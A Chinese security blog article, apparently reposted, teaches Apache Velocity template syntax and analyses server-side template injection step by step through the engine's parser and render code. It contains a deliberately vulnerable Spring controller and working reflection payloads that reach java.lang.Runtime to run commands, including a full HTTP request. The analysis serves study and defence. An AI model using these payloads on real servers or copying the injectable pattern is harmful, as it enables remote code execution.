0


JAVA安全之Velocity模板注入刨析

文章前言

关于Velocity模板注入注入之前一直缺乏一个系统性的学习和整理,搜索网上大多数类似的内容都是一些关于漏洞利用的复现,而且大多都仅限于Velocity.evaluate的执行,对于载荷的构造以及执行过程并没有详细的流程分析,于是乎只能自己动手来填坑了~

模板介绍

Apache Velocity是一个基于模板的引擎,用于生成文本输出(例如:HTML、XML或任何其他形式的ASCII文本),它的设计目标是提供一种简单且灵活的方式来将模板和上下文数据结合在一起,因此被广泛应用于各种Java应用程序中包括Web应用

基本语法

Apache Velocity的语法简洁明了,主要由变量引用、控制结构(例如:条件和循环)、宏定义等组成

变量引用

在Velocity模板中可以使用$符号来引用上下文中的变量,例如:

  1. Hello, $name!

示例代码:

  1. #Java代码
  2. context.put("name", "Al1ex");
  3. #模板内容
  4. Hello, $name! // 输出: Hello, Al1ex!

条件判断

Velocity支持基本的条件判断,通过#if、#else和#end指令来实现:

  1. #if($user.isLoggedIn())
  2. Welcome back, $user.name!
  3. #else
  4. Please log in.
  5. #end

示例代码:

  1. #Java代码
  2. context.put("user", new User("Al1ex", true)); // 假设 User 类有 isLoggedIn 方法
  3. #模板内容
  4. #if($user.isLoggedIn())
  5. Welcome back, $user.name!
  6. #else
  7. Please log in.
  8. #end
  9. // 输出: Welcome back, Al1ex!

循环操作

通过使用#foreach来遍历集合或数组

  1. #foreach($item in $items)
  2. <li>$item</li>
  3. #end

示例代码:

  1. #Java代码
  2. context.put("items", Arrays.asList("Apple", "Banana", "Cherry"));
  3. #模板内容
  4. <ul>
  5. #foreach($item in $items)
  6. <li>$item</li>
  7. #end
  8. </ul>
  9. #输出:
  10. <ul>
  11. <li>Apple</li>
  12. <li>Banana</li>
  13. <li>Cherry</li>
  14. </ul>

宏定义类

Velocity支持定义宏,方便复用代码块,宏通过#macro定义,通过#end结束:

  1. #macro(greet $name)
  2. Hello, $name!
  3. #end
  4. #greet("World")

示例代码:

  1. #模板内容
  2. #macro(greet $name)
  3. Hello, $name!
  4. #end
  5. #greet("Alice")
  6. #输出: Hello, Alice!

方法调用

Velocity允许使用#符号调用工具类的方法,在使用工具类时你需要在上下文中放入相应的对象

  1. #set($currentDate = $dateTool.get("yyyy-MM-dd"))
  2. Today's date is $currentDate.

示例代码:

  1. import org.apache.commons.lang3.time.DateUtils;
  2. #Java代码
  3. context.put("dateTool", new DateUtils());
  4. #模板内容
  5. #set($currentDate = $dateTool.format(new Date(), "yyyy-MM-dd"))
  6. Today's date is $currentDate.
  7. #输出内容:
  8. Today's date is 2024-08-16

包含插入

Velocity支持包含其他模板文件,通过#include指令实现,例如:
主模板文件main.vm

  1. Hello, $name!
  2. #if($isAdmin)
  3. #include("adminDashboard.vm")
  4. #else
  5. #include("userDashboard.vm")
  6. #end

用户仪表盘模板文件userDashboard.vm

  1. Welcome to your user dashboard.
  2. Here are your notifications...

管理员仪表盘模板文件adminDashboard.vm

  1. Welcome to the admin dashboard.
  2. You have access to all administrative tools.

假设我们有以下 Java 代码来渲染主模板:

  1. import org.apache.velocity.app.VelocityEngine;
  2. import org.apache.velocity.Template;
  3. import org.apache.velocity.VelocityContext;
  4. import java.io.StringWriter;
  5. public class IncludeExample {
  6. public static void main(String[] args) {
  7. // 初始化 Velocity 引擎
  8. VelocityEngine velocityEngine = new VelocityEngine();
  9. velocityEngine.init();
  10. // 创建上下文并添加数据
  11. VelocityContext context = new VelocityContext();
  12. context.put("name", "John Doe");
  13. context.put("isAdmin", true); // 或者 false,取决于用户权限
  14. // 渲染主模板
  15. Template template = velocityEngine.getTemplate("main.vm");
  16. StringWriter writer = new StringWriter();
  17. // 合并上下文与模板
  18. template.merge(context, writer);
  19. // 输出结果
  20. System.out.println(writer.toString());
  21. }
  22. }

根据给定的上下文,如果isAdmin为 true,输出将会是:

  1. Hello, John Doe!
  2. Welcome to the admin dashboard.
  3. You have access to all administrative tools.

如果isAdmin为false,输出将会是:

  1. Hello, John Doe!
  2. Welcome to your user dashboard.
  3. Here are your notifications...

数学运算

Velocity也支持基本的数学运算和字符串操作

  1. #set($total = $price * $quantity)
  2. The total cost is $total.
  3. #set($greeting = "Hello, " + $name)
  4. $greeting

示例代码:

  1. #Java代码
  2. context.put("price", 10);
  3. context.put("quantity", 3);
  4. context.put("name", "Al1ex");
  5. #模板内容
  6. #set($total = $price * $quantity)
  7. The total cost is $total.
  8. #set($greeting = "Hello, " + $name)
  9. $greeting
  10. #输出内容:
  11. The total cost is 30.
  12. Hello, Al1ex

标识符类

'#'号标识符

在Apache Velocity模板引擎中#符号用来标识各种脚本语句,允许开发者在模板中实现逻辑控制、数据处理和代码重用等功能,下面是一些常见的以#开头的Velocity指令:
1、#set
用于设置变量的值

  1. #set($name = "John")
  2. Hello, $name! ## 输出:Hello, John!

2、#if
用于条件判断

  1. #if($age >= 18)
  2. You are an adult.
  3. #else
  4. You are a minor.
  5. #end

3、#else
'#'和if搭配使用,表示其它情况

  1. #if($isMember)
  2. Welcome back, member!
  3. #else
  4. Please sign up.
  5. #end

4、#foreach
用于遍历集合(例如:数组或列表)

  1. #foreach($item in $items)
  2. Item: $item
  3. #end

5、#include
用于包含其他文件的内容

  1. #include("header.vm")

6、#parse
类似于#include,但更适合解析并执行另一个模板文件

  1. #parse("footer.vm")

7、#macro
用于定义可重用的宏

  1. #macro(greeting $name)
  2. Hello, $name!
  3. #end
  4. #greeting("Alice") ## 输出:Hello, Alice!

8、#break
在循环中用于提前退出循环

  1. #foreach($i in [1..5])
  2. #if($i == 3)
  3. #break
  4. #end
  5. $i
  6. #end

9、#stop
在模板的渲染过程中停止进一步的处理

  1. #if($condition)
  2. #stop
  3. #end

10、#directive
用于创建自定义指令

  1. #directive(myDirective)

{}标识符

Velocity中的{}标识符用于变量和表达式的引用,它们提供了一种简洁的方法来插入变量值、调用方法或访问对象属性,例如:
1、引用变量
可以使用${}来引用一个变量的值,变量通常通过#set指令定义

  1. #set($name = "John")
  2. Hello, ${name}! ## 输出:Hello, John!

2、访问对象属性
如果变量是一个对象,那么可以使用${}来访问该对象的属性

  1. #set($person = {"firstName": "Jane", "lastName": "Doe"})
  2. Hello, ${person.firstName} ${person.lastName}! ## 输出:Hello, Jane Doe!

3、调用方法
在${}中调用对象的方法

  1. #set($dateTool = $tool.date)
  2. Today's date is: ${dateTool.format("yyyy-MM-dd")} ## 输出当前日期

$标识符

在Apache Velocity模板引擎中$符号用于表示变量的引用,通过$您可以访问在模板中定义的变量、对象属性和方法,这是Velocity的核心特性之一,使得模板能够动态地插入数据
1、引用变量
使用$可以直接引用之前声明的变量,通常变量是通过#set指令定义的

  1. #set($username = "Alice")
  2. Welcome, $username! ## 输出:Welcome, Alice!

2、访问对象属性
如果变量是一个对象,可以使用$来访问该对象的属性,例如:如果你有一个用户对象,你可以获取其属性

  1. #set($user = {"name": "Bob", "age": 30})
  2. Hello, $user.name! You are $user.age years old. ## 输出:Hello, Bob! You are 30 years old.

3、调用方法
通过$来调用对象的方法以便执行某些操作或获取计算的结果

  1. #set($dateTool = $tool.date)
  2. Today's date is: $dateTool.format("yyyy-MM-dd") ## 输出当前日期

4、表达式计算
虽然$本身只用于变量引用,但可以与{}结合使用来实现简单的数学运算

  1. #set($a = 5)
  2. #set($b = 10)
  3. The sum of $a and $b is ${a + b}. ## 输出:The sum of 5 and 10 is 15.

! 标识符

在Apache Velocity模板引擎中!符号主要用于处理变量的空值(null)和默认值,它提供了一种简单的方法来确保在引用变量时,如果该变量为空则使用一个默认值,这种功能有助于避免在模板中出现空值,从而增强模板的健壮性和用户体验,当您想要引用一个变量并提供一个默认值时,可以使用${variable!"defaultValue"}的语法,其中:
variable 是您希望引用的变量名
defaultValue 是该变量为空时将使用的值
1、基本使用
在这个例子中由于$name是空字符串所以输出了默认值"Guest"

  1. #set($name = "")
  2. Welcome, ${name!"Guest"}! ## 输出:Welcome, Guest!

2、带有实际值的变量
如果变量有值那么!不会影响其输出,因为在这个例子中$name有值"Alice",所以会直接输出这个值

  1. #set($name = "Alice")
  2. Welcome, ${name!"Guest"}! ## 输出:Welcome, Alice!

模板注入

Velocity.evaluate

方法介绍

Velocity.evaluate是Velocity引擎中的一个方法,用于处理字符串模板的评估,Velocity是一个基于Java的模板引擎,广泛应用于WEB开发和其他需要动态内容生成的场合,Velocity.evaluate方法的主要作用是将给定的模板字符串与上下文对象结合并生成最终的输出结果,这个方法通常用于在运行时动态创建内容,比如:生成HTML页面的内容或电子邮件的文本,方法如下所示:

  1. public static void evaluate(Context context, Writer writer, String templateName, String template)

参数说明:

  • Context context:提供模板所需的数据上下文,可以包含多个键值对
  • Writer writer:输出流,用于写入生成的内容
  • String templateName:模板的名称,通常用于调试信息中
  • String template:要评估的模板字符串

示例代码

简易构造如下代码所示:

  1. package com.velocity.velocitytest.controller;
  2. import org.apache.velocity.app.Velocity;
  3. import org.apache.velocity.VelocityContext;
  4. import org.springframework.web.bind.annotation.*;
  5. import java.io.StringWriter;
  6. @RestController
  7. public class VelocityController {
  8. @RequestMapping("/ssti/velocity1")
  9. @ResponseBody
  10. public String velocity1(@RequestParam(defaultValue="Al1ex") String username) {
  11. String templateString = "Hello, " + username + " | Full name: $name, phone: $phone, email: $email";
  12. Velocity.init();
  13. VelocityContext ctx = new VelocityContext();
  14. ctx.put("name", "Al1ex Al2ex Al3ex");
  15. ctx.put("phone", "18892936458");
  16. ctx.put("email", "Al1ex@heptagram.com");
  17. StringWriter out = new StringWriter();
  18. Velocity.evaluate(ctx, out, "test", templateString);
  19. return out.toString();
  20. }
  21. }

利用载荷

通过上面的菲尼我们可以构造如下payload:

  1. username=#set($e="e")$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("cmd.exe /c calc")

调试分析

下面我们在Velocity.evaluate功能模块处打断点进行调试分析:

上面参数传递拼接templateString,带入Velocity.evaluate调用evaluate方法:

随后继续向下跟进,在这调用当前类中的evaluate

随后在evaluate中先检查模板名称是否为空,不为空后调用parser进行模板解析:

在这里首先检查是否已经初始化解析器,如果未初始化则进行初始化操作,随后从解析器池中获取一个Parser对象,如果池中没有可用的解析器,则将keepParser标志设为true以便找到对应的适配的解析器,紧接着调用dumpVMNamespace(templateName)方法来转储命名空间信息并使用parser.parse(reader, templateName)方法从reader中解析模板,返回的结果存储在var6中

随后调用parser进行模板解析,首先初始化和状态清理,随后开始进行解析

  1. public SimpleNode parse(Reader reader, String templateName) throws ParseException {
  2. SimpleNode sn = null;
  3. this.currentTemplateName = templateName;
  4. try {
  5. this.token_source.clearStateVars();
  6. this.velcharstream.ReInit(reader, 1, 1);
  7. this.ReInit((CharStream)this.velcharstream);
  8. sn = this.process();
  9. } catch (MacroParseException var6) {
  10. this.rsvc.getLog().error("Parser Error: " + templateName, var6);
  11. throw var6;
  12. } catch (ParseException var7) {
  13. this.rsvc.getLog().error("Parser Exception: " + templateName, var7);
  14. throw new TemplateParseException(var7.currentToken, var7.expectedTokenSequences, var7.tokenImage, this.currentTemplateName);
  15. } catch (TokenMgrError var8) {
  16. throw new ParseException("Lexical error: " + var8.toString());
  17. } catch (Exception var9) {
  18. String msg = "Parser Error: " + templateName;
  19. this.rsvc.getLog().error(msg, var9);
  20. throw new VelocityException(msg, var9);
  21. }
  22. this.currentTemplateName = "";
  23. return sn;
  24. }

随后进行模板渲染操作,如果nodeTree为null,则返回false,表示评估失败,如果nodeTree不为null,则调用render方法,使用提供的上下文、写入器和日志标签来渲染模板,将render方法的结果(布尔值)作为返回值,如果渲染成功则返回 true,否则返回false

render渲染代码如下所示:

  1. public boolean render(Context context, Writer writer, String logTag, SimpleNode nodeTree) {
  2. InternalContextAdapterImpl ica = new InternalContextAdapterImpl(context);
  3. ica.pushCurrentTemplateName(logTag);
  4. try {
  5. try {
  6. nodeTree.init(ica, this);
  7. } catch (TemplateInitException var18) {
  8. throw new ParseErrorException(var18, (String)null);
  9. } catch (RuntimeException var19) {
  10. throw var19;
  11. } catch (Exception var20) {
  12. String msg = "RuntimeInstance.render(): init exception for tag = " + logTag;
  13. this.getLog().error(msg, var20);
  14. throw new VelocityException(msg, var20);
  15. }
  16. try {
  17. if (this.provideEvaluateScope) {
  18. Object previous = ica.get(this.evaluateScopeName);
  19. context.put(this.evaluateScopeName, new Scope(this, previous));
  20. }
  21. nodeTree.render(ica, writer);
  22. } catch (StopCommand var21) {
  23. if (!var21.isFor(this)) {
  24. throw var21;
  25. }
  26. if (this.getLog().isDebugEnabled()) {
  27. this.getLog().debug(var21.getMessage());
  28. }
  29. } catch (IOException var22) {
  30. throw new VelocityException("IO Error in writer: " + var22.getMessage(), var22);
  31. }
  32. } finally {
  33. ica.popCurrentTemplateName();
  34. if (this.provideEvaluateScope) {
  35. Object obj = ica.get(this.evaluateScopeName);
  36. if (obj instanceof Scope) {
  37. Scope scope = (Scope)obj;
  38. if (scope.getParent() != null) {
  39. ica.put(this.evaluateScopeName, scope.getParent());
  40. } else if (scope.getReplaced() != null) {
  41. ica.put(this.evaluateScopeName, scope.getReplaced());
  42. } else {
  43. ica.remove(this.evaluateScopeName);
  44. }
  45. }
  46. }
  47. }
  48. return true;
  49. }

随后通过render将模板的内容渲染到指定的Writer中,jjtGetNumChildren()用于获取子节点数量,this.jjtGetChild(i)获取第i个子节点,对每个子节点调用其render方法将上下文和写入器作为参数传递:

render的具体实现如下所示,在这里会调用execute方法来进行具体的解析操作:

execute的执行代码如下所示,可以看到这里的children即为我们传入的参数值:

  1. public Object execute(Object o, InternalContextAdapter context) throws MethodInvocationException {
  2. if (this.referenceType == 4) {
  3. return null;
  4. } else {
  5. Object result = this.getVariableValue(context, this.rootString);
  6. if (result == null && !this.strictRef) {
  7. return EventHandlerUtil.invalidGetMethod(this.rsvc, context, this.getDollarBang() + this.rootString, (Object)null, (String)null, this.uberInfo);
  8. } else {
  9. try {
  10. Object previousResult = result;
  11. int failedChild = -1;
  12. String methodName;
  13. for(int i = 0; i < this.numChildren; ++i) {
  14. if (this.strictRef && result == null) {
  15. methodName = this.jjtGetChild(i).getFirstToken().image;
  16. throw new VelocityException("Attempted to access '" + methodName + "' on a null value at " + Log.formatFileString(this.uberInfo.getTemplateName(), this.jjtGetChild(i).getLine(), this.jjtGetChild(i).getColumn()));
  17. }
  18. previousResult = result;
  19. result = this.jjtGetChild(i).execute(result, context);
  20. if (result == null && !this.strictRef) {
  21. failedChild = i;
  22. break;
  23. }
  24. }
  25. if (result == null) {
  26. if (failedChild == -1) {
  27. result = EventHandlerUtil.invalidGetMethod(this.rsvc, context, this.getDollarBang() + this.rootString, previousResult, (String)null, this.uberInfo);
  28. } else {
  29. StringBuffer name = (new StringBuffer(this.getDollarBang())).append(this.rootString);
  30. for(int i = 0; i <= failedChild; ++i) {
  31. Node node = this.jjtGetChild(i);
  32. if (node instanceof ASTMethod) {
  33. name.append(".").append(((ASTMethod)node).getMethodName()).append("()");
  34. } else {
  35. name.append(".").append(node.getFirstToken().image);
  36. }
  37. }
  38. if (this.jjtGetChild(failedChild) instanceof ASTMethod) {
  39. methodName = ((ASTMethod)this.jjtGetChild(failedChild)).getMethodName();
  40. result = EventHandlerUtil.invalidMethod(this.rsvc, context, name.toString(), previousResult, methodName, this.uberInfo);
  41. } else {
  42. methodName = this.jjtGetChild(failedChild).getFirstToken().image;
  43. result = EventHandlerUtil.invalidGetMethod(this.rsvc, context, name.toString(), previousResult, methodName, this.uberInfo);
  44. }
  45. }
  46. }
  47. return result;
  48. } catch (MethodInvocationException var9) {
  49. var9.setReferenceName(this.rootString);
  50. throw var9;
  51. }
  52. }
  53. }
  54. }

通过反射获取执行的类

最终递归解析到"cmd.exe /c calc"

最后完成解析执行:

template.merge(ctx, out)

方法介绍

在Java的Velocity模板引擎中template.merge(ctx, out)是一个关键的方法,它主要用于将模板与给定的上下文数据合并,同时将结果输出到指定的目标,方法格式如下所示:

  1. void merge(Context context, Writer writer)

参数说明:

  • Context context:包含动态数据的上下文对象,通常是VelocityContext的实例,使用上下文可以为模板提供变量和数据,使得模板能够在渲染时采用这些值
  • Writer writer: Writer类型的对象指定了合并后内容的输出目标,常见的实现包括 StringWriter, PrintWriter 等,可以将生成的内容写入字符串、文件或其他输出流

示例代码

Step 1:添加依赖
在pom.xml中添加以下依赖:

  1. <!-- https://mvnrepository.com/artifact/org.apache.velocity/velocity -->
  2. <dependency>
  3. <groupId>org.apache.velocity</groupId>
  4. <artifactId>velocity</artifactId>
  5. <version>1.7</version>
  6. </dependency>

Step 2:创建模板文件
在项目的src/main/resources/templates目录下创建一个名为template.vm的文件,内容如下

  1. Hello, $name!
  2. #set($totalPrice = $price * $quantity)
  3. The total cost for $quantity items at $price each is: $totalPrice.
  4. #foreach($item in $items)
  5. - Item: $item
  6. #end

Step 3:创建Controller类
接下来我们创建一个控制器类用于处理请求并返回渲染后的模板

  1. package com.velocity.velocitytest.controller;
  2. import org.apache.velocity.Template;
  3. import org.apache.velocity.app.VelocityEngine;
  4. import org.apache.velocity.context.Context;
  5. import org.apache.velocity.VelocityContext;
  6. import org.springframework.beans.factory.annotation.Autowired;
  7. import org.springframework.web.bind.annotation.GetMapping;
  8. import org.springframework.web.bind.annotation.RequestParam;
  9. import org.springframework.web.bind.annotation.RestController;
  10. import java.io.StringWriter;
  11. import java.util.Arrays;
  12. @RestController
  13. public class VelocityController {
  14. private final VelocityEngine velocityEngine;
  15. @Autowired
  16. public VelocityController(VelocityEngine velocityEngine) { //通过构造函数注入方式获得Velocity引擎实例
  17. this.velocityEngine = velocityEngine;
  18. }
  19. @GetMapping("/generate")
  20. public String generate(@RequestParam String name,
  21. @RequestParam double price,
  22. @RequestParam int quantity) {
  23. // Step 1: 加载模板
  24. Template template = velocityEngine.getTemplate("template.vm");
  25. // Step 2: 创建上下文并填充数据
  26. Context context = new VelocityContext();
  27. context.put("name", name);
  28. context.put("price", price);
  29. context.put("quantity", quantity);
  30. context.put("items", Arrays.asList("Apple", "Banana", "Cherry"));
  31. // Step 3: 合并模板和上下文
  32. StringWriter writer = new StringWriter();
  33. template.merge(context, writer);
  34. // 返回结果
  35. return writer.toString();
  36. }
  37. }

Step 4:配置Velocity
为了使Velocity引擎可以工作,我们需要在Spring Boot应用程序中进行一些配置,创建一个配置类如下所示

  1. package com.velocity.velocitytest.config;
  2. import org.apache.velocity.app.VelocityEngine;
  3. import org.springframework.context.annotation.Bean;
  4. import org.springframework.context.annotation.Configuration;
  5. import java.util.Properties;
  6. @Configuration
  7. public class VelocityConfig {
  8. @Bean
  9. public VelocityEngine velocityEngine() {
  10. Properties props = new Properties();
  11. props.setProperty("resource.loader", "file");
  12. props.setProperty("file.resource.loader.path", "src/main/resources/templates"); // 模板路径
  13. VelocityEngine velocityEngine = new VelocityEngine(props);
  14. velocityEngine.init();
  15. return velocityEngine;
  16. }
  17. }

Step 5:运行项目并进行访问

  1. http://localhost:8080/generate?name=Alice&price=10.99&quantity=3

通过上面的菲尼我们可以构造如下payload:

  1. username=#set($e="e")$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("cmd.exe /c calc")

调试分析

下面我们简易分析一下如何通过控制模板文件造成命令执行的过程,首先我们在template.merge处下断点:

随后在merge中调用当前类的merge:

随后调用render方法进行渲染:

随后通过render将模板的内容渲染到指定的Writer中,jjtGetNumChildren()用于获取子节点数量,this.jjtGetChild(i)获取第i个子节点,对每个子节点调用其render方法将上下文和写入器作为参数传递:

render的具体实现如下所示,在这里会调用execute方法来进行具体的解析操作:

execute的执行代码如下所示:

  1. public Object execute(Object o, InternalContextAdapter context) throws MethodInvocationException {
  2. if (this.referenceType == 4) {
  3. return null;
  4. } else {
  5. Object result = this.getVariableValue(context, this.rootString);
  6. if (result == null && !this.strictRef) {
  7. return EventHandlerUtil.invalidGetMethod(this.rsvc, context, this.getDollarBang() + this.rootString, (Object)null, (String)null, this.uberInfo);
  8. } else {
  9. try {
  10. Object previousResult = result;
  11. int failedChild = -1;
  12. String methodName;
  13. for(int i = 0; i < this.numChildren; ++i) {
  14. if (this.strictRef && result == null) {
  15. methodName = this.jjtGetChild(i).getFirstToken().image;
  16. throw new VelocityException("Attempted to access '" + methodName + "' on a null value at " + Log.formatFileString(this.uberInfo.getTemplateName(), this.jjtGetChild(i).getLine(), this.jjtGetChild(i).getColumn()));
  17. }
  18. previousResult = result;
  19. result = this.jjtGetChild(i).execute(result, context);
  20. if (result == null && !this.strictRef) {
  21. failedChild = i;
  22. break;
  23. }
  24. }
  25. if (result == null) {
  26. if (failedChild == -1) {
  27. result = EventHandlerUtil.invalidGetMethod(this.rsvc, context, this.getDollarBang() + this.rootString, previousResult, (String)null, this.uberInfo);
  28. } else {
  29. StringBuffer name = (new StringBuffer(this.getDollarBang())).append(this.rootString);
  30. for(int i = 0; i <= failedChild; ++i) {
  31. Node node = this.jjtGetChild(i);
  32. if (node instanceof ASTMethod) {
  33. name.append(".").append(((ASTMethod)node).getMethodName()).append("()");
  34. } else {
  35. name.append(".").append(node.getFirstToken().image);
  36. }
  37. }
  38. if (this.jjtGetChild(failedChild) instanceof ASTMethod) {
  39. methodName = ((ASTMethod)this.jjtGetChild(failedChild)).getMethodName();
  40. result = EventHandlerUtil.invalidMethod(this.rsvc, context, name.toString(), previousResult, methodName, this.uberInfo);
  41. } else {
  42. methodName = this.jjtGetChild(failedChild).getFirstToken().image;
  43. result = EventHandlerUtil.invalidGetMethod(this.rsvc, context, name.toString(), previousResult, methodName, this.uberInfo);
  44. }
  45. }
  46. }
  47. return result;
  48. } catch (MethodInvocationException var9) {
  49. var9.setReferenceName(this.rootString);
  50. throw var9;
  51. }
  52. }
  53. }
  54. }

通过反射获取执行的类

最后完成解析执行:

补充一个可用载荷:

  1. POST /ssti/velocity1 HTTP/1.1
  2. Host: 192.168.1.7:8080
  3. Upgrade-Insecure-Requests: 1
  4. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
  5. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
  6. Accept-Encoding: gzip, deflate
  7. Accept-Language: zh-CN,zh;q=0.9
  8. Connection: close
  9. Content-Type: application/x-www-form-urlencoded
  10. Content-Length: 303
  11. username=#set($s="")
  12. #set($stringClass=$s.getClass())
  13. #set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
  14. #set($process=$runtime.exec("cmd.exe /c calc"))
  15. #set($out=$process.getInputStream())
  16. #set($null=$process.waitFor() )
  17. #foreach($i+in+[1..$out.available()])
  18. $out.read()
  19. #end


本文转载自: https://blog.csdn.net/2401_83799022/article/details/141600988
版权归原作者 网络安全工程师老王 所有, 如有侵权,请联系我们删除。

“JAVA安全之Velocity模板注入刨析”的评论:

还没有评论